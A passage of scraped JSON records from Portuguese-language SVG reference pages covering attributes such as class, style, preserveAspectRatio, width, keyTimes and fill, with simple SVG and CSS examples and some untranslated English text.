</body>\n</html>\n```\n\nElementos\n---------\n\nOs seguintes elementos podem utilizar o atributo `class`:\n\n* `<a>`\n* `<altGlyph>`\n* `<circle>`\n* `<clipPath>` (en-US)\n* `<defs>`\n* `<desc>`\n* `<ellipse>`\n* `<feBlend>` (en-US)\n* `<feColorMatrix>` (en-US)\n* `<feComponentTransfer>` (en-US)\n* `<feComposite>` (en-US)\n* `<feConvolveMatrix>` (en-US)\n* `<feDiffuseLighting>` (en-US)\n* `<feDisplacementMap>` (en-US)\n* `<feFlood>` (en-US)\n* `<feGaussianBlur>` (en-US)\n* `<feImage>` (en-US)\n* `<feMerge>` (en-US)\n* `<feMorphology>` (en-US)\n* `<feOffset>` (en-US)\n* `<feSpecularLighting>` (en-US)\n* `<feTile>` (en-US)\n* `<feTurbulence>` (en-US)\n* `<filter>`\n* `<font>` (en-US)\n* `<foreignObject>` (en-US)\n* `<g>`\n* `<glyph>`\n* `<glyphRef>`\n* `<image>`\n* `<line>`\n* `<linearGradient>`\n* `<marker>`\n* `<mask>`\n* `<missing-glyph>`\n* `<path>`\n* `<pattern>`\n* `<polygon>`\n* `<polyline>`\n* `<radialGradient>`\n* `<rect>`\n* `<stop>`\n* `<svg>`\n* `<switch>`\n* `<symbol>`\n* `<text>`\n* `<textPath>`\n* `<title>`\n* `<tref>`\n* `<tspan>`\n* `<use>`\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"style - SVG: Gráficos Vetoriais Escaláveis","text":"style\n=====\n\n« Página inicial de referência do atributo SVG\n\nEste atributo especifica informação de estilo para o elemento atual. O atributo \"style\" especifica informação de estilo para um único elemento. As linguagem da folha de estilos para as regras de estilos em linhas é dada pelo valor do atributo `contentStyleType` no elemento the `<SVG>`.\n\nContexto de uso\n---------------\n\n| Categorias | Atributo de apresentação |\n| --- | --- |\n| Valor | <style> |\n| Animável? | Não |\n| Documento Normativo | SVG 1.1 (2ª Edição) |\n\n<style>\n\nA sintaxe do estilo depende de uma linguagem de folha de estilos. Por padrão, se `contentStyleType` não for definido, a linguagem da folha de estilo utilizada será a CSS.\n\nExemplo\n-------\n\nO exemplo a seguir mostra a estilização de um retângulo com um atributo de estilo utilizando a linguagem de folha de estilos do CSS.\n\n\n```html\n<svg version=\"1.1\" viewbox=\"0 0 1000 500\" xmlns=\"https://www.w3.org/2000/svg\">\n  <rect\n height=\"300\"\n width=\"600\"\n x=\"200\"\n y=\"100\"\n style=\"fill: red; stroke: blue; stroke-width: 3\" />\n</svg>\n```\n\nElementos\n---------\n\nOs seguintes elementos podem utilizar o atributo `style`\n\n* Elementos \"container\" »\n* Elementos de filtro primitivo »\n* Elementos de gradiente »\n* Elementos gráficos »\n* Elementos estruturais »\n* Elementos de texto »\n* `<clipPath>` (en-US)\n* `<filter>`\n* `<font>` (en-US)\n* `<foreignObject>` (en-US)\n* `<glyphRef>`\n* `<stop>`\n* `<glyph>`\nVeja também\n-----------\n\n* `<style>`"}
{"title":"preserveAspectRatio - SVG: Gráficos Vetoriais Escaláveis","text":"preserveAspectRatio\n===================\n\nO atributo **`preserveAspectRatio`** indica como um elemento com uma viewBox, fornecendo uma determinada proporção deve se ajustar a uma viewport com uma proporção diferente.\n\nBecause the aspect ratio of an SVG image is defined by the `viewBox (en-US)` attribute, if this attribute isn't set, the `preserveAspectRatio` attribute has no effect (*with one exception, the `<image>` element, as described below*).\n\nExample\n-------\n\n\n```html\n<svg viewBox=\"-1 -1 162 92\" xmlns=\"https://www.w3.org/2000/svg\">\n  <defs>\n    <path\n id=\"smiley\"\n d=\"M50,10 A40,40,1,1,1,50,90 A40,40,1,1,1,50,10 M30,40 Q36,35,42,40 M58,40 Q64,35,70,40 M30,60 Q50,75,70,60 Q50,75,30,60\" />\n  </defs>\n\n  <!-- (width>height) meet -->\n  <svg\n preserveAspectRatio=\"xMidYMid meet\"\n x=\"0\"\n y=\"0\"\n viewBox=\"0 0 100 100\"\n width=\"20\"\n height=\"10\">\n    <use href=\"#smiley\" />\n  </svg>\n  <svg\n preserveAspectRatio=\"xMinYMid meet\"\n x=\"25\"\n y=\"0\"\n viewBox=\"0 0 100 100\"\n width=\"20\"\n height=\"10\">\n    <use href=\"#smiley\" />\n  </svg>\n  <svg\n preserveAspectRatio=\"xMaxYMid meet\"\n x=\"50\"\n y=\"0\"\n viewBox=\"0 0 100 100\"\n width=\"20\"\n height=\"10\">\n    <use href=\"#smiley\" />\n  </svg>\n\n  <!-- (width>height) slice -->\n  <svg\n preserveAspectRatio=\"xMidYMin slice\"\n x=\"0\"\n y=\"15\"\n viewBox=\"0 0 100 100\"\n width=\"20\"\n height=\"10\">\n    <use href=\"#smiley\" />\n  </svg>\n  <svg\n preserveAspectRatio=\"xMidYMid slice\"\n x=\"25\"\n y=\"15\"\n viewBox=\"0 0 100 100\"\n width=\"20\"\n height=\"10\">\n    <use href=\"#smiley\" />\n  </svg>\n  <svg\n preserveAspectRatio=\"xMidYMax slice\"\n x=\"50\"\n y=\"15\"\n viewBox=\"0 0 100 100\"\n width=\"20\"\n height=\"10\">\n    <use href=\"#smiley\" />\n  </svg>\n\n  <!-- (width<height) meet -->\n  <svg\n preserveAspectRatio=\"xMidYMin meet\"\n x=\"75\"\n y=\"0\"\n viewBox=\"0 0 100 100\"\n width=\"10\"\n height=\"25\">\n    <use href=\"#smiley\" />\n  </svg>\n  <svg\n preserveAspectRatio=\"xMidYMid meet\"\n x=\"90\"\n y=\"0\"\n viewBox=\"0 0 100 100\"\n width=\"10\"\n height=\"25\">\n    <use href=\"#smiley\" />\n  </svg>\n  <svg\n preserveAspectRatio=\"xMidYMax meet\"\n x=\"105\"\n y=\"0\"\n viewBox=\"0 0 100 100\"\n width=\"10\"\n height=\"25\">\n    <use href=\"#smiley\" />\n  </svg>\n\n  <!-- (width<height) slice -->\n  <svg\n preserveAspectRatio=\"xMinYMid slice\"\n x=\"120\"\n y=\"0\"\n viewBox=\"0 0 100 100\"\n width=\"10\"\n height=\"25\">\n    <use href=\"#smiley\" />\n  </svg>\n  <svg\n preserveAspectRatio=\"xMidYMid slice\"\n x=\"135\"\n y=\"0\"\n viewBox=\"0 0 100 100\"\n width=\"10\"\n height=\"25\">\n    <use href=\"#smiley\" />\n  </svg>\n  <svg\n preserveAspectRatio=\"xMaxYMid slice\"\n x=\"150\"\n y=\"0\"\n viewBox=\"0 0 100 100\"\n width=\"10\"\n height=\"25\">\n    <use href=\"#smiley\" />\n  </svg>\n\n  <!-- none -->\n  <svg\n preserveAspectRatio=\"none\"\n x=\"0\"\n y=\"30\"\n viewBox=\"0 0 100 100\"\n width=\"160\"\n height=\"60\">\n    <use href=\"#smiley\" />\n  </svg>\n</svg>\n```\n\n\n```\nhtml,\nbody,\nsvg {\n  height: 100%;\n}\n```\n\n\n```\n<svg viewBox=\"-1 -1 162 92\" xmlns=\"https://www.w3.org/2000/svg\">\n  <defs>\n    <path\n id=\"smiley\"\n d=\"M50,10 A40,40,1,1,1,50,90 A40,40,1,1,1,50,10 M30,40 Q36,35,42,40 M58,40 Q64,35,70,40 M30,60 Q50,75,70,60 Q50,75,30,60\" />\n  </defs>\n\n  <!-- (width>height) meet -->\n  <rect x=\"0\" y=\"0\" width=\"20\" height=\"10\">\n    <title>xMidYMid meet</title>\n  </rect>\n  <svg\n viewBox=\"0 0 100 100\"\n width=\"20\"\n height=\"10\"\n preserveAspectRatio=\"xMidYMid meet\"\n x=\"0\"\n y=\"0\">\n    <use href=\"#smiley\" />\n  </svg>\n\n  <rect x=\"25\" y=\"0\" width=\"20\" height=\"10\">\n    <title>xMinYMid meet</title>\n  </rect>\n  <svg\n viewBox=\"0 0 100 100\"\n width=\"20\"\n height=\"10\"\n preserveAspectRatio=\"xMinYMid meet\"\n x=\"25\"\n y=\"0\">\n    <use href=\"#smiley\" />\n  </svg>\n\n  <rect x=\"50\" y=\"0\" width=\"20\" height=\"10\">\n    <title>xMaxYMid meet</title>\n  </rect>\n  <svg\n viewBox=\"0 0 100 100\"\n width=\"20\"\n height=\"10\"\n preserveAspectRatio=\"xMaxYMid meet\"\n x=\"50\"\n y=\"0\">\n    <use href=\"#smiley\" />\n  </svg>\n\n  <!-- (width>height) slice -->\n  <rect x=\"0\" y=\"15\" width=\"20\" height=\"10\">\n    <title>xMidYMin slice</title>\n  </rect>\n  <svg\n viewBox=\"0 0 100 100\"\n width=\"20\"\n height=\"10\"\n preserveAspectRatio=\"xMidYMin slice\"\n x=\"0\"\n y=\"15\">\n    <use href=\"#smiley\" />\n  </svg>\n\n  <rect x=\"25\" y=\"15\" width=\"20\" height=\"10\">\n    <title>xMidYMid slice</title>\n  </rect>\n  <svg\n viewBox=\"0 0 100 100\"\n width=\"20\"\n height=\"10\"\n preserveAspectRatio=\"xMidYMid slice\"\n x=\"25\"\n y=\"15\">\n    <use href=\"#smiley\" />\n  </svg>\n\n  <rect x=\"50\" y=\"15\" width=\"20\" height=\"10\">\n    <title>xMidYMax slice</title>\n  </rect>\n  <svg\n viewBox=\"0 0 100 100\"\n width=\"20\"\n height=\"10\"\n preserveAspectRatio=\"xMidYMax slice\"\n x=\"50\"\n y=\"15\">\n    <use href=\"#smiley\" />\n  </svg>\n\n  <!-- (width<height) meet -->\n  <rect x=\"75\" y=\"0\" width=\"10\" height=\"25\">\n    <title>xMidYMin meet</title>\n  </rect>\n  <svg\n viewBox=\"0 0 100 100\"\n width=\"10\"\n height=\"25\"\n preserveAspectRatio=\"xMidYMin meet\"\n x=\"75\"\n y=\"0\">\n    <use href=\"#smiley\" />\n  </svg>\n\n  <rect x=\"90\" y=\"0\" width=\"10\" height=\"25\">\n    <title>xMidYMid meet</title>\n  </rect>\n  <svg\n viewBox=\"0 0 100 100\"\n width=\"10\"\n height=\"25\"\n preserveAspectRatio=\"xMidYMid meet\"\n x=\"90\"\n y=\"0\">\n    <use href=\"#smiley\" />\n  </svg>\n\n  <rect x=\"105\" y=\"0\" width=\"10\" height=\"25\">\n    <title>xMidYMax meet</title>\n  </rect>\n  <svg\n viewBox=\"0 0 100 100\"\n width=\"10\"\n height=\"25\"\n preserveAspectRatio=\"xMidYMax meet\"\n x=\"105\"\n y=\"0\">\n    <use href=\"#smiley\" />\n  </svg>\n\n  <!-- (width<height) slice -->\n  <rect x=\"120\" y=\"0\" width=\"10\" height=\"25\">\n    <title>xMinYMid slice</title>\n  </rect>\n  <svg\n viewBox=\"0 0 100 100\"\n width=\"10\"\n height=\"25\"\n preserveAspectRatio=\"xMinYMid slice\"\n x=\"120\"\n y=\"0\">\n    <use href=\"#smiley\" />\n  </svg>\n\n  <rect x=\"135\" y=\"0\" width=\"10\" height=\"25\">\n    <title>xMidYMid slice</title>\n  </rect>\n  <svg\n viewBox=\"0 0 100 100\"\n width=\"10\"\n height=\"25\"\n preserveAspectRatio=\"xMidYMid slice\"\n x=\"135\"\n y=\"0\">\n    <use href=\"#smiley\" />\n  </svg>\n\n  <rect x=\"150\" y=\"0\" width=\"10\" height=\"25\">\n    <title>xMaxYMid slice</title>\n  </rect>\n  <svg\n viewBox=\"0 0 100 100\"\n width=\"10\"\n height=\"25\"\n preserveAspectRatio=\"xMaxYMid slice\"\n x=\"150\"\n y=\"0\">\n    <use href=\"#smiley\" />\n  </svg>\n\n  <!-- none -->\n  <rect x=\"0\" y=\"30\" width=\"160\" height=\"60\">\n    <title>none</title>\n  </rect>\n  <svg\n viewBox=\"0 0 100 100\"\n width=\"160\"\n height=\"60\"\n preserveAspectRatio=\"none\"\n x=\"0\"\n y=\"30\">\n    <use href=\"#smiley\" />\n  </svg>\n</svg>\n```\n\n\n```\npath {\n  fill: yellow;\n  stroke: black;\n  stroke-width: 8px;\n  stroke-linecap: round;\n  stroke-linejoin: round;\n  pointer-events: none;\n}\n\nrect:hover,\nrect:active {\n  outline: 1px solid red;\n}\n```\n\nSyntax\n------\n```\n\npreserveAspectRatio=\"<align> [<meetOrSlice>]\"\n```\n\n\nIts value is made of one or two keywords: A required alignment value and an optional \"meet or slice\" reference as described below:\n\nAlignment value\n\nThe alignment value indicates whether to force uniform scaling and, if so, the alignment method to use in case the aspect ratio of the `viewBox (en-US)` doesn't match the aspect ratio of the viewport. The alignment value must be one of the following keywords:\n\n* **none**\n Do not force uniform scaling. Scale the graphic content of the given element non-uniformly if necessary such that the element's bounding box exactly matches the viewport rectangle. *Note that if* `<align>` *is* `none`*, then the optional* `<meetOrSlice>` *value is ignored*.\n* **xMinYMin** - Force uniform scaling.\n Align the `<min-x>` of the element's `viewBox (en-US)` with the smallest X value of the viewport.\n Align the `<min-y>` of the element's `viewBox (en-US)` with the smallest Y value of the viewport.\n* **xMidYMin** - Force uniform scaling.\n Align the midpoint X value of the element's `viewBox (en-US)` with the midpoint X value of the viewport.\n Align the `<min-y>` of the element's `viewBox (en-US)` with the smallest Y value of the viewport.\n* **xMaxYMin** - Force uniform scaling.\n Align the `<min-x>+<width>` of the element's `viewBox (en-US)` with the maximum X value of the viewport.\n Align the `<min-y>` of the element's `viewBox (en-US)` with the smallest Y value of the viewport.\n* **xMinYMid** - Force uniform scaling.\n Align the `<min-x>` of the element's `viewBox (en-US)` with the smallest X value of the viewport.\n Align the midpoint Y value of the element's `viewBox (en-US)` with the midpoint Y value of the viewport.\n* **xMidYMid** (the default) - Force uniform scaling.\n Align the midpoint X value of the element's `viewBox (en-US)` with the midpoint X value of the viewport.\n Align the midpoint Y value of the element's `viewBox (en-US)` with the midpoint Y value of the viewport.\n* **xMaxYMid** - Force uniform scaling.\n Align the `<min-x>+<width>` of the element's `viewBox (en-US)` with the maximum X value of the viewport.\n Align the midpoint Y value of the element's `viewBox (en-US)` with the midpoint Y value of the viewport.\n* **xMinYMax** - Force uniform scaling.\n Align the `<min-x>` of the element's `viewBox (en-US)` with the smallest X value of the viewport.\n Align the `<min-y>+<height>` of the element's `viewBox (en-US)` with the maximum Y value of the viewport.\n* **xMidYMax** - Force uniform scaling.\n Align the midpoint X value of the element's `viewBox (en-US)` with the midpoint X value of the viewport.\n Align the `<min-y>+<height>` of the element's `viewBox (en-US)` with the maximum Y value of the viewport.\n* **xMaxYMax** - Force uniform scaling.\n Align the `<min-x>+<width>` of the element's `viewBox (en-US)` with the maximum X value of the viewport.\n Align the `<min-y>+<height>` of the element's `viewBox (en-US)` with the maximum Y value of the viewport.\n\nMeet or slice reference\n\nThe meet or slice reference is optional and, if provided, must be one of the following keywords:\n\n* **meet** (*the default*) - Scale the graphic such that:\n    + aspect ratio is preserved\n    + the entire `viewBox (en-US)` is visible within the viewport\n    + the `viewBox (en-US)` is scaled up as much as possible, while still meeting the other criteriaIn this case, if the aspect ratio of the graphic does not match the viewport, some of the viewport will extend beyond the bounds of the `viewBox (en-US)` (i.e., the area into which the `viewBox (en-US)` will draw will be smaller than the viewport).\n* **slice** - Scale the graphic such that:\n    + aspect ratio is preserved\n    + the entire viewport is covered by the `viewBox (en-US)`\n    + the `viewBox (en-US)` is scaled down as much as possible, while still meeting the other criteriaIn this case, if the aspect ratio of the `viewBox (en-US)` does not match the viewport, some of the `viewBox (en-US)` will extend beyond the bounds of the viewport (i.e., the area into which the `viewBox (en-US)` will draw is larger than the viewport).\n\nElements\n--------\n\nSeven elements are using this attribute: `<svg>`, `<symbol>`, `<image>`, `<feImage>` (en-US), `<marker>`, `<pattern>`, and `<view>`.\n\n### feImage\n\nFor `<feImage>` (en-US), `preserveAspectRatio` defines how the referenced image should fit in the rectangle define by the `<feImage>` element.\n\n| Value | **<align> <meetOrSlice>?** |\n| --- | --- |\n| Default value | `xMidYMid` `meet` |\n| Animatable | Yes |\n\n### image\n\nFor `<image>`, `preserveAspectRatio` defines how the referenced image should fit in the rectangle define by the `<image>` element.\n\n| Value | **<align> <meetOrSlice>?** |\n| --- | --- |\n| Default value | `xMidYMid` `meet` |\n| Animatable | Yes |\n\n### marker\n\nFor `<marker>`, `preserveAspectRatio` indicates if a uniform scaling must be performed to fit the element viewport.\n\n| Value | **<align> <meetOrSlice>?** |\n| --- | --- |\n| Default value | `xMidYMid` `meet` |\n| Animatable | Yes |\n\n### pattern\n\nFor `<pattern>`, `preserveAspectRatio` indicates if a uniform scaling must be performed to fit the element viewport.\n\n| Value | **<align> <meetOrSlice>?** |\n| --- | --- |\n| Default value | `xMidYMid` `meet` |\n| Animatable | Yes |\n\n### svg\n\nFor `<svg>`, `preserveAspectRatio` indicates if a uniform scaling must be performed to fit the element viewport.\n\n| Value | **<align> <meetOrSlice>?** |\n| --- | --- |\n| Default value | `xMidYMid` `meet` |\n| Animatable | Yes |\n\n### symbol\n\nFor `<symbol>`, `preserveAspectRatio` indicates if a uniform scaling must be performed to fit the element viewport.\n\n| Value | **<align> <meetOrSlice>?** |\n| --- | --- |\n| Default value | `xMidYMid` `meet` |\n| Animatable | Yes |\n\n### view\n\nFor `<view>`, `preserveAspectRatio` indicates if a uniform scaling must be performed to fit the element viewport.\n\n| Value | **<align> <meetOrSlice>?** |\n| --- | --- |\n| Default value | `xMidYMid` `meet` |\n| Animatable | Yes |\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Filter Effects Module Level 1 # element-attrdef-feimage-preserveaspectratio |\n| Scalable Vector Graphics (SVG) 2 # PreserveAspectRatioAttribute |"}
{"title":"Width - SVG: Gráficos Vetoriais Escaláveis","text":"Width\n=====\n\n« SVG Attribute reference home\n\nEsse atributo indica um compromimento horizontal no sistema de coordenadas do usuário. O efeito exato dessa coordenada, depende de cada elemento. Na maioria das vezes, representa a largura da região retangular do elemento de referência.\n\nEsse atributo precisa ser especificado, exceto para o elemento `<svg>` onde o valor padrão é **100%** (com exceção do elemento root `<svg>` que contém pais HTML). e o `<filter>` e `<mask>`, elementos que o valor padrão é **120%.**\n\nContexto de Uso\n---------------\n\n| Categories | None |\n| --- | --- |\n| Value | <length> |\n| Animatable | Yes |\n| Normative document | SVG 1.1 (2nd Edition): foreignObject element SVG 1.1 (2nd Edition): image element SVG 1.1 (2nd Edition): pattern element SVG 1.1 (2nd Edition): rect element SVG 1.1 (2nd Edition): svg element SVG 1.1 (2nd Edition): use element SVG 1.1 (2nd Edition): Filter primitive SVG 1.1 (2nd Edition): mask element |\n\n{{ page(\"/en/SVG/Content\\_type\",\"Length\") }}Exemplo\n-------\n\n\n```xml\n<?xml version=\"1.0\"?>\n<svg width=\"120\" height=\"120\"\n viewBox=\"0 0 120 120\"\n xmlns=\"https://www.w3.org/2000/svg\">\n\n  <rect x=\"10\" y=\"10\" width=\"100\" height=\"100\"/>\n</svg>\n```\n\nElementos\n---------\n\nOs seguintes elementos podem user o atributo witdh\n\n* Filter primitive elements »\n* `<filter>`\n* `<foreignObject>` (en-US)\n* `<image>`\n* `<pattern>`\n* `<rect>`\n* `<svg>`\n* `<use>`\n* `<mask>`"}
{"title":"keyTimes - SVG: Gráficos Vetoriais Escaláveis","text":"keyTimes\n========\n\nO atributo **`keyTimes`** representa uma lista de valores de tempo usados para controlar o ritmo da animação. Cada valor corresponde a um valor na lista de atributos `values (en-US)` e define quando o valor é usado na animação. Cada valor de tempo na lista `keyTimes` é especificado como um valor de ponto flutuante entre 0 e 1 (inclusive), representando um deslocamento proporcional na duração do elemento de animação.\n\nFour elements are using this attribute: `<animate>`, `<animateColor>`, `<animateMotion>`, and `<animateTransform>`\n```\n\nhtml,\nbody,\nsvg {\n  height: 100%;\n}\n```\n\n\n\n```html\n<svg viewBox=\"0 0 120 120\" xmlns=\"https://www.w3.org/2000/svg\">\n  <circle cx=\"60\" cy=\"10\" r=\"10\">\n    <animate\n attributeName=\"cx\"\n dur=\"4s\"\n repeatCount=\"indefinite\"\n values=\"60 ; 110 ; 60 ; 10 ; 60\"\n keyTimes=\"0 ; 0.25 ; 0.5 ; 0.75 ; 1\" />\n    <animate\n attributeName=\"cy\"\n dur=\"4s\"\n repeatCount=\"indefinite\"\n values=\"10 ; 60 ; 110 ; 60 ; 10\"\n keyTimes=\"0 ; 0.25 ; 0.5 ; 0.75 ; 1\" />\n  </circle>\n</svg>\n```\n\nUsage notes\n-----------\n\n|  |  |\n| --- | --- |\n| Value | `<number>` [\n `;` `<number>` ]\\* `;`?\n  |\n| Default value | *None* |\n| Animatable | No |\n\nThe value of the `keyTimes` attribute is a semicolon-separated list of values.\n\nThere must be exactly as many values in the `keyTimes` list as in the `values` list.\n\nEach successive time value must be greater than or equal to the preceding time value.\n\nThe `keyTimes` list semantics depends upon the interpolation mode:\n\n* For linear and spline animation, the first time value in the list must be 0, and the last time value in the list must be `1`. The key time associated with each value defines when the value is set; values are interpolated between the key times.\n* For discrete animation, the first time value in the list must be `0`. The time associated with each value defines when the value is set; the animation function uses that value until the next time defined in the list.\n\nIf the `calcMode (en-US)` attribute is set to `paced`, the `keyTimes` attribute is ignored.\n\nIf the duration of the animation is indefinite, any `keyTimes` specification will be ignored.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| SVG Animations Level 2 # KeyTimesAttribute |\n\nCompatibilidade com navegadores\n-------------------------------\n\n{{Compat}}"}
{"title":"fill - SVG: Gráficos Vetoriais Escaláveis","text":"fill\n====\n\nO atributo **`fill`** pode ter duas diferentes interpretações. Para formas e textos, é definido como um atributo de apresentação que define a cor (ou qualquer modelo de pintura SVG como gradientes ou padrões) utilizada para colorir um elemento; para animações ele é quem define o estado final de uma animação.\nComo um atributo de apresentação, ele pode ser aplicado a qualquer elemento, mas só tem efeito nestes onze elementos seguintes: `<altGlyph>`, `<circle>`, `<ellipse>`, `<path>`, `<polygon>`, `<polyline>`, `<rect>`, `<text>`, `<textPath>`, `<tref>`, e `<tspan>`.\n\nPara animação, apenas cinco elementos utilizam este atributo, sendo elas: `<animate>`, `<animateColor>`, `<animateMotion>`, `<animateTransform>`, e `<set>`.\n```\n\nhtml,\nbody,\nsvg {\n  height: 100%;\n}\n```\n\n\n\n```html\n<svg viewBox=\"0 0 300 100\" xmlns=\"https://www.w3.org/2000/svg\">\n  <!-- Preenchimento simples com apenas uma cor -->\n  <circle cx=\"50\" cy=\"50\" r=\"40\" fill=\"pink\" />\n\n  <!-- Preenchimento do circulo com gradiente -->\n  <defs>\n    <radialGradient id=\"myGradient\">\n      <stop offset=\"0%\" stop-color=\"pink\" />\n      <stop offset=\"100%\" stop-color=\"black\" />\n    </radialGradient>\n  </defs>\n\n  <circle cx=\"150\" cy=\"50\" r=\"40\" fill=\"url(#myGradient)\" />\n\n  <!--\n Mantendo o estado final de um círculo animado\n sendo um círculo com o raio de 40px.\n -->\n  <circle cx=\"250\" cy=\"50\" r=\"20\">\n    <animate\n attributeType=\"XML\"\n attributeName=\"r\"\n from=\"0\"\n to=\"40\"\n dur=\"5s\"\n fill=\"freeze\" />\n  </circle>\n</svg>\n```\n\naltGlyph\n--------\n\n**Aviso:** a partir da versão SVG2, a tag `<altGlyph>` está obsoleta e não deve ser utilizada.\n\nPara `<altGlyph>`, `fill` é a apresentação do atributo que define a coloração de um glifo (figura, ícone, simbolo).\n\n| Valor | **<paint>** |\n| --- | --- |\n| Valor Padrão | `black` |\n| Animável | Sim |\n\n**Nota:** Por ser um atributo de apresentação, `fill` pode ser usado como uma propriedade CSS.\n\nanimate\n-------\n\nPara `<animate>`, o atributo `fill` define o estado final de uma animação.\n\n| Valor | `freeze` (*Mantém o estado do último quadro de animação*) | `remove` (*Mantém o estado do primeiro quadro de animação*) |\n| --- | --- |\n| Valor Padrão | `remove` |\n| Animável | Não |\n\nanimateColor\n------------\n\n> \n> \\*\\*Aviso:\\*\\*A partir da versão de animação para modelos SVG2 `<animateColor>` está obsoleto e não deve ser utilizado. Ao invés disso utilize `<animate>`.\n> \n> \n> \n\nPara `<animateColor>`, o atributo `fill` define o estado final de uma animação.\n\n| Valor | `freeze` (*Mantém o estado do último quadro de animação*) | `remove` (*Mantém o estado do primeiro quadro de animação*) |\n| --- | --- |\n| Valor Padrão | `remove` |\n| Animável | Não |\n\nanimateMotion\n-------------\n\nPara `<animateMotion>`, o atributo `fill` define o estado final de uma animação.\n\n| Valor | `freeze` (*Mantém o estado do último quadro de animação*) | `remove` (*Mantém o estado do primeiro quadro de animação*) |\n| --- | --- |\n| Valor Padrão | `remove` |\n| Animável | Não |\n\nanimateTransform\n----------------\n\nPara `<animateTransform>`, o atributo `fill` define o estado final de uma animação.\n\n| Valor | `freeze` (*Mantém o estado do último quadro de animação*) | `remove` (*Mantém o estado do primeiro quadro de animação*) |\n| --- | --- |\n| Valor Padrão | `remove` |\n| Animável | Não |\n\ncircle\n------\n\nPara `<circle>`, `fill` é o atributo de apresentação utilizado para definir a coloração de um círculo.\n\n| Valor | **<paint>** |\n| --- | --- |\n| Valor Padrão | `black` |\n| Animável | Sim |\n\n**Nota:** Por ser um atributo de apresentação, `fill` pode ser usado como uma propriedade CSS.\n\nellipse\n-------\n\nPara `<ellipse>`, `fill` é o atributo de apresentação utilizado para definir a cor de uma elipse.\n\n| Valor | **<paint>** |\n| --- | --- |\n| Valor Padrão | `black` |\n| Animável | Sim |\n\n**Nota:** Por ser um atributo de apresentação, `fill` pode ser usado como uma propriedade CSS.\n\npath\n----\n\nPara `<path>`, `fill` é um atributo de apresentação que define a coloração do interior de uma forma. (O interior é definido pelo atributo *`fill-rule (en-US)`*).\n\n| Valor | **<paint>** |\n| --- | --- |\n| Valor Padrão | `black` |\n| Animável | Sim |\n\n**Nota:** Por ser um atributo de apresentação, `fill` pode ser usado como uma propriedade CSS.\n\npolygon\n-------\n\nPara `<polygon>`, `fill` é um atributo de apresentação que define a coloração do interior de uma forma. (O interior é definido pelo atributo *`fill-rule (en-US)`*).\n\n| Valor | **<paint>** |\n| --- | --- |\n| Valor padrão | `black` |\n| Animável | Sim |\n\n**Nota:** Por ser um atributo de apresentação, `fill` pode ser usado como uma propriedade CSS.\n\npolyline\n--------\n\nFor `<polyline>`, `fill` é um atributo de apresentação que define a coloração do interior de uma forma. (O interior é definido pelo atributo *`fill-rule (en-US)`*).\n\n| Valor | **<paint>** |\n| --- | --- |\n| Valor Padrão | `black` |\n| Animável | Sim |\n\n**Nota:** Por ser um atributo de apresentação, `fill` pode ser usado como uma propriedade CSS.\n\nrect\n----\n\nPara `<rect>`, `fill` é o atributo de apresentação utilizado para definir a cor de um retângulo.\n\n| Valor | **<paint>** |\n| --- | --- |\n| Valor Padrão | `black` |\n| Animável | Sim |\n\n**Nota:** Por ser um atributo de apresentação, `fill` pode ser usado como uma propriedade CSS.\n\nset\n---\n\nPara `<set>`, o atributo `fill` define o estado final de uma animação.\n\n| Valor | `freeze` (*Mantém o estado do último quadro de animação*) | `remove` (*Mantém o estado do primeiro quadro de animação*) |\n| --- | --- |\n| Valor Padrão | `remove` |\n| Animável | Não |\n\ntext\n----\n\nPara `<text>`, `fill` é o atributo de apresentação utilizado para definir a cor de um texto.\n\n| Valor | **<paint>** |\n| --- | --- |\n| Valor Padrão | `black` |\n| Animável | Sim |\n\n**Nota:** Por ser um atributo de apresentação, `fill` pode ser usado como uma propriedade CSS.\n\ntextPath\n--------\n\nFor `<textPath>`, `fill` é o atributo de apresentação utilizado para definir a cor de um texto\n\n| Valor | **<paint>** |\n| --- | --- |\n| Valor Padrão | `black` |\n| Animável | Sim |\n\n**Nota:** Por ser um atributo de apresentação, `fill` pode ser usado como uma propriedade CSS.\n\ntref\n----\n\n**Aviso:** a partir da versão SVG2, a tag `<tref>` está obsoleta e não deve ser utilizada.\n\nPara `<tref>`, `fill` é o atributo de apresentação utilizado para definir a cor de um texto\n\n| Valor | **<paint>** |\n| --- | --- |\n| Valor Padrão | `black` |\n| Animável | Sim |\n\n**Nota:** Por ser um atributo de apresentação, `fill` pode ser usado como uma propriedade CSS.\n\ntspan\n-----\n\nPara `<tspan>`, `fill` é o atributo de apresentação utilizado para definir a cor de um texto\n\n| Valor | **<paint>** |\n| --- | --- |\n| Valor Padrão | `black` |\n| Animável | Sim |\n\n**Nota:** Por ser um atributo de apresentação, `fill` pode ser usado como uma propriedade CSS.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| SVG Animations Level 2 # FillAttribute |\n| Scalable Vector Graphics (SVG) 2 # SpecifyingFillPaint |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n**Nota:** Nota: Para obter informações do uso do `context-fill` (e do `context-stroke`) de documentos HTML, consulte a documentação da propriedade não-padrão `-moz-context-properties` ."}
{"title":"style - SVG: Gráficos Vetoriais Escaláveis","text":"style\n=====\n\nO elemento de estilo possibilita que folhas de estilos sejam incorporadas diretamente ao conteúdo do SVG. O elemento `style` do SVG possui os mesmos atributos que o elemento correspondente no HTML (veja o elemento no HTML `<style>`).\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Nenhum |\n| Conteúdo permitido | Quaisquer elementos ou dados de caracteres |\n\nExemplo\n-------\n\n\n```html\n<svg\n width=\"100%\"\n height=\"100%\"\n viewBox=\"0 0 100 100\"\n xmlns=\"https://www.w3.org/2000/svg\">\n  <style>\n /\\* <![CDATA[ \\*/\n circle {\n fill: orange;\n stroke: black;\n stroke-width: 10px; // Note que este valor depende do valor do pixel definido no viewBox\n }\n /\\* ]]> \\*/\n </style>\n\n  <circle cx=\"50\" cy=\"50\" r=\"40\" />\n</svg>\n```\n\n\nResultado:\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos centrais »\n### Atributos específicos\n\n* `type (en-US)`\n* `media (en-US)`\n* `title`\nInterface DOM\n-------------\n\nO elemento implementa a interface do `SVGStyleElement`.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Elemento <style> no 